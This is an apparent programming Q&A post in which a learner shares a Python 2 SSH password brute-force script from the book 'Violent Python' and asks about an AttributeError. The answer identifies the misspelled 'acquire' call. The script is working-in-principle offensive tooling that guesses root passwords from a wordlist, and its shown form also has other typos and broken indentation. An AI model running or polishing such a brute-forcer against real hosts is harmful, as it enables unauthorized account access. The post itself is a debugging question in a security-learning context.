AttributeError: '_BoundedSemaphore' object has no attribute 'acuire'
Question: I am learning python, and learning through a book called Violent Python, I am
on a section which involves making a brute force SSH script. I am having
problems with an error, and cannot figure out the problem or the fix.

the code:

    
    
    import pxssh
    import optparse
    import time
    from threading import *
    
    maxConnections = 5
    connection_lock = BoundedSemaphore(value=maxConnections)
    Found = False
    Fails = 0
    
    def connect(host, user, password, release):
    global Found
    global Fails
    
    try:
        s= pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = True
    
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
    
        elif 'synchronize with original prompt' in str(e):
              time.sleep(1)
              connect(host, user, password, False)
    
    finally:
      if release: connection_lock.release()
    def main():
    
      parser = optparse.OptionParser('usage%prog ' + \
    '-H <target host> -u <user> -F <password list>')
    
      parser.add_option('-H', dest='tgtHost', type='string', \
    help='target host')
    
      parser.add_option('-F', dest='passwdFile', type='string', \
    help='specify password file')
    
      parser.add_option('-u', dest='user', type='string', \
    help='the user')
    
      (options, args) = parser.parse_args()
      host = options.tgtHost
      passwdFile = options.passwdFile
      user = options.user
    
      if host == None or passwdFile == None or user == None:
        print parser.usage
        exit(0)
      fn = open(passwdFile, 'r')
      for line in fn.readlines():
        if Found:
        print "[*] Exiting: Password Found"
        exit(0)
        if Fails > 5:
          print "[!] Exiting: Too Many Socket Timeouts"
          exit(0)
    
      connection_lock.acuire()
      password = line.strip('\r').strip('\n')
      print "[-] Testing: "+str(password)
      t = Tread(target=connect, args=(host, user, password, true))
      child = t.start()
    if __name__ == '__main__':
    main()    
    

this is the error I get:

    
    
        [root@test ~]# python2.7 test5.py -H x.x.x.x -u root -F pass.txt
        Traceback (most recent call last):
          File "test5.py", line 70, in <module>
            main()
          File "test5.py", line 64, in main
            connection_lock.acuire()
        AttributeError: '_BoundedSemaphore' object has no attribute 'acuire'
    

I have edited out the actual host x.x.x.x but the host I am using is up and
live. any help understanding this error and a fix would be helpful.


Answer: You simply have a typo; the line should be

    
    
    connection_lock.acquire()
    #                 ^
    

